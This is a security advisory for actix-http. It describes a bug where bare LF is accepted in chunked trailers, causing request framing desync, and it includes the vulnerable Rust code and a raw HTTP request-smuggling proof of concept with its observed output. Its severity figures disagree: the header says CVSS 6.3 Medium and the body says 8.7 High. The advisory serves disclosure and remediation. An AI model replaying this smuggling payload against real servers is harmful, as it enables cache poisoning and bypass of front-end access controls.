# GHSA-9W4R-XC43-V236: actix-http: bare LF accepted in chunked trailers allows request framing desync (residual from RUSTSEC-2026-0446)

- Database: GitHub
- Severity: CVSS 6.3 (Medium)
- Published: 2026-11-16
- Modified: 2026-11-16

## Affected versions

- actix-http (crates.io): fixed in 3.21.1

## Description

### Summary

In `actix-http` 3.20.5 and 3.21.0, the chunked transfer-encoding trailer parser (`read_trailer` in `chunked.rs`) accepts trailer lines delimited by a bare LF instead of requiring CRLF, so a pipelined request sent right after a bare-LF trailer line is consumed as trailer data. RUSTSEC-2026-0446 fixed the adjacent case (a bare LF directly after the terminating chunk, `0\r\n\n`) in `read_end_cr`, but `read_trailer` was not covered by that fix. When a front proxy treats bare LF as a line terminator, the two disagree about message boundaries and the framing desync permits request smuggling.

### Details

Under RFC 9112 section 7.1.3, trailer field lines must terminate with CRLF. RUSTSEC-2026-0446 fixed the case of a bare LF directly after the terminating chunk (`0\r\n\n`) by adding a `b'\n' => Err` arm to `read_end_cr` in `chunked.rs`. The trailer parser itself was not updated:

```rust
fn read_trailer(rdr: &mut BytesMut) -> Poll<Result<ChunkedState, io::Error>> {
    loop {
        match byte!(rdr) {
            b'\r' => return Poll::Ready(Ok(ChunkedState::TrailerLf)),
            _ => continue,          // skips all bytes other than \r, including bare LF
        }
    }
}
```

Because bare `\n` matches the wildcard arm, `read_trailer` skips it and keeps reading past the trailer line until the next `\r` in the stream. Trailer lines delimited by a bare LF, such as `X\n`, are therefore accepted and consumed, and a pipelined request following them is swallowed into the trailer.

Adjacent paths already reject bare LF correctly: `read_body_cr` rejects it after a chunk body, `read_extension` errors on 0x0A, and the hex chunk-size parser uses `checked_mul`.

Suggested remediation: make `read_trailer` line-oriented and reject bare LF with `io::ErrorKind::InvalidData`, consistent with the 0446 fix. A regression test supplying `0\r\n` followed by `X\n` plus a pipelined request verifies the rejection.

Version note: `actix-http` 3.21.0 (released 2026-11-09) was also source-audited; its `chunked.rs` is identical to 3.20.5 in this area, so the issue persists in the current latest release.

### Proof of concept

An `actix-web` backend on `127.0.0.1:18432` with routes `/first` and `/second` receives the following on a single connection:

```
POST /first HTTP/1.1\r\n
Host: backend\r\n
Transfer-Encoding: chunked\r\n
\r\n
5\r\nhello\r\n
0\r\n
X\n                                        <- trailer line with bare LF
POST /second HTTP/1.1\r\n
Host: backend\r\n
Content-Length: 2\r\n
\r\n
ab
```

Observed output of the PoC (recording attached):

```
--- response (95 bytes) ---
HTTP/1.1 200 OK
content-length: 19

BACKEND_RESPONSE_OK
--- number of HTTP responses on the wire: 1 ---
CONFIRMED: the second request was consumed as trailer (bare LF accepted)
```

Only one response is produced (counted by occurrences of the `HTTP/1.1` status line in the connection stream). The entire `POST /second ...` head is consumed as the chunked trailer, leaving only the body (`ab`) for a subsequent read. A front proxy that treats bare LF as a line terminator would forward the second request separately instead, desynchronising the framing between the proxy and the backend.

### Impact

In the local reproducer, the framing desync is shown directly on a single connection through trailer consumption without a proxy. Behind a front proxy that treats bare LF as a line terminator, the proxy would forward the second request separately while actix-http consumes its request head as part of the preceding trailer, permitting HTTP request smuggling: cache poisoning, bypassing front-end access controls, or request response queue desync.

Exploitation relies on the same front-end disagreement prerequisite described in RUSTSEC-2026-0446.

CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N = 8.7 (High). Scope Changed (S:C) reflects the desync across proxy boundaries; Attack Complexity High (AC:H) reflects the lenient-proxy prerequisite. No credentials or user interaction are required.

## References

- https://github.com/actix/actix-web/security/advisories/GHSA-9w4r-xc43-v236

Page: https://cve.now/GHSA-9W4R-XC43-V236

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
